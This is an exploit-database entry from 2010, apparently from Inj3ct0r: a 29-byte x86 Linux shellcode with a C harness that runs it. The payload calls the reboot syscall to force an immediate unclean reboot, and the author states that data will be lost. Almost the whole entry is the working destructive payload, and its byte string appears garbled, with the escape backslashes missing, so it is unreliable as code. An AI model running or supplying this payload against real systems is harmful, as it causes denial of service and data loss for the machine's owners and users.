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# Title : x86 linux hard / unclean reboot (29 bytes)
# Published : 2010-06-03
# Author : gunslinger_
# Previous Title : 48 bytes chown root:root /bin/sh x86 linux shellcode
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/*
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0       /_//_//_/ _ /___/  /____/ /__/ /___/  /_/           1
1                   ____/ >> Exploit database separated by exploit   0
0                   /___/          type (local, remote, DoS, etc.)    1
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0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
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Title  : hard reboot (without any message) and data will be lost shellcode
Name   : 29 bytes hard / unclean reboot with data will be lost x86 linux shellcode 
Date   : Thu Jun  3 12:56:45 2010
Author : gunslinger_ <yudha.gunslinger[at]gmail.com>
Web    : http://devilzc0de.org
blog   : http://gunslingerc0de.wordpress.com
tested on : linux ubuntu 9.04 , may cause fsck and fsck is failed (run fsck manually as root)
special thanks to : r0073r (inj3ct0r.com), d3hydr8 (darkc0de.com), ty miller (projectshellcode.com), jonathan salwan(shell-storm.org), mywisdom (devilzc0de.org)
greetz to : flyff666, whitehat, ketek, chaer, peneter, and all devilzc0de crew
*/
#include <stdio.h>

char *shellcode=
		"x31xc0"                    /* xor    %eax,%eax */
		"xb0x58"                    /* mov    $0x58,%al */
		"xbbxadxdexe1xfe"        /* mov    $0xfee1dead,%ebx */
		"xb9x69x19x12x28"        /* mov    $0x28121969,%ecx */
		"xbax67x45x23x01"        /* mov    $0x1234567,%edx */
		"xcdx80"                    /* int    $0x80 */
		"x31xc0"                    /* xor    %eax,%eax */
		"xb0x01"                    /* mov    $0x1,%al */
		"x31xdb"                    /* xor    %ebx,%ebx */
		"xcdx80";                   /* int    $0x80 */

int main(void)
{
		fprintf(stdout,"Length: %dn",strlen(shellcode));
		((void (*)(void)) shellcode)();
		return 0;
}